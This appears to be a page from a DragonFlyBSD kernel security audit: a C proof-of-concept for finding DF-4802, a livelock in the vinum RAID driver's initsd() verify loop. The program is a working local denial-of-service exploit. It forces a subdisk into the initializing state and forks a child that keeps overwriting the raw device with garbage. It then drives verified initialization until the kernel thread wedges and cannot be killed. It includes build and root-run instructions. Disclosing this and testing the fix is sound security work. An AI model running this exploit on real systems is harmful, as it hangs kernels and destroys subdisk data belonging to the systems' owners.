⬢ DragonFlyBSD Kernel Audit
DF-4802 / initlivelock.c
← back to finding ↓ download raw
/* DF-4802: initsd() verify livelock trigger.
 *
 * initsd() (sys/dev/raid/vinum/vinumrevive.c:526-565) loops
 * `while (!verified)` rewriting and re-reading each init block when the
 * readback does not match what was written (lines 555-560: `verified = 0`
 * on mismatch, no retry bound).  The subdisk I/O goes through sdio() on
 * the raw subdisk device, which can be written concurrently
 * (vinumstrategy() VINUM_SD_TYPE -> sdio() directly, no state check:
 * sys/dev/raid/vinum/vinumrequest.c:135-139).  A writer that keeps
 * touching the block being initialized turns the mismatch branch into an
 * unbounded, uninterruptible kernel loop (biowait has no PCATCH): the
 * ioctl thread never returns and cannot be killed.
 *
 * This driver: parent issues VINUM_SETSTATE(object_initializing, force)
 * then loops VINUM_SETSTATE(object_up, verify=1) over the sd; child
 * hammers the first 64 KB of the raw subdisk device with garbage.
 *
 * Build: cc -O -o /tmp/initlivelock /tmp/initlivelock.c
 * Run (root): /tmp/initlivelock <sdno> &
 * Expect (stock): parent wedges in-kernel (state D, kill -9 ineffective).
 * Expect (fix): parent exits with EIO after <=3 retries.
 */
#include <sys/ioccom.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#define L 'F'
#define MAX_IOCTL_REPLY 256

/* mirror of struct vinum_ioctl_msg (sys/dev/raid/vinum/vinumio.h) */
struct vimsg {
    int index;
    int type;            /* objecttype: 1 = sd_object */
    int state;           /* objectstate: 0=down 1=initializing 2=initialized 3=up */
    int op;
    int force;
    int recurse;
    int verify;
    int otherobject;
    int rename;
    long long offset;
    int blocksize;
};

struct virep { int error; char msg[MAX_IOCTL_REPLY - sizeof(int)]; };

#define VINUM_SETSTATE_DF _IOC(IOC_IN | IOC_OUT, L, 76, MAX_IOCTL_REPLY)

#define T_SD    1
#define ST_INIT 1
#define ST_UP   3

int
main(int argc, char **argv)
{
    struct vimsg msg;
    struct virep *rep = (struct virep *)&msg;
    int fd, sdno, i;
    char dev[64];

    if (argc < 2) { fprintf(stderr, "usage: %s sdno [sd-name]\n", argv[0]); return 2; }
    sdno = atoi(argv[1]);
    snprintf(dev, sizeof(dev), "/dev/vinum/sd/%s",
             (argc > 2) ? argv[2] : "vol.p0.s0");

    fd = open("/dev/vinum/controld", O_RDWR);
    if (fd < 0) { perror("controld"); return 1; }

    /* child: hammer the first 64k of the raw sd with garbage */
    if (fork() == 0) {
        int sfd = open(dev, O_WRONLY);
        char junk[4096];
        long n = 0;
        if (sfd < 0) { perror(dev); _exit(1); }
        memset(junk, 0xa5, sizeof(junk));
        for (;;) {
            junk[0] = n & 0xff; junk[1] = (n >> 8) & 0xff;
            pwrite(sfd, junk, sizeof(junk), (n % 16) * 4096);
            n++;
        }
    }

    /* sd -> sd_initializing */
    memset(&msg, 0, sizeof(msg));
    msg.index = sdno; msg.type = T_SD; msg.state = ST_INIT; msg.force = 1;
    ioctl(fd, VINUM_SETSTATE_DF, &msg);
    fprintf(stderr, "setstate(initializing): error=%d msg=%s\n", rep->error, rep->msg);
    if (rep->error) { fprintf(stderr, "could not enter initializing state\n"); return 1; }

    /* drive the init one block at a time with verify=1.
     * NOTE: the ioctl reply overlays the message buffer, so the
     * template must be re-filled before every call. */
    for (i = 0; i < 500; i++) {
        memset(&msg, 0, sizeof(msg));
        msg.index = sdno; msg.type = T_SD; msg.state = ST_UP; msg.verify = 1;
        ioctl(fd, VINUM_SETSTATE_DF, &msg);
        if (i == 0)
            fprintf(stderr, "first block: error=%d msg=%s\n", rep->error, rep->msg);
        if (rep->error != EAGAIN) {
            fprintf(stderr, "block %d: error=%d (%s) msg=%s -- init loop ENDED\n",
                    i, rep->error, strerror(rep->error), rep->msg);
            break;
        }
        if (i % 40 == 0)
            fprintf(stderr, "block %d ok (EAGAIN)\n", i);
    }
    fprintf(stderr, "PARENT RETURNED FROM INIT LOOP (no livelock)\n");
    return 0;
}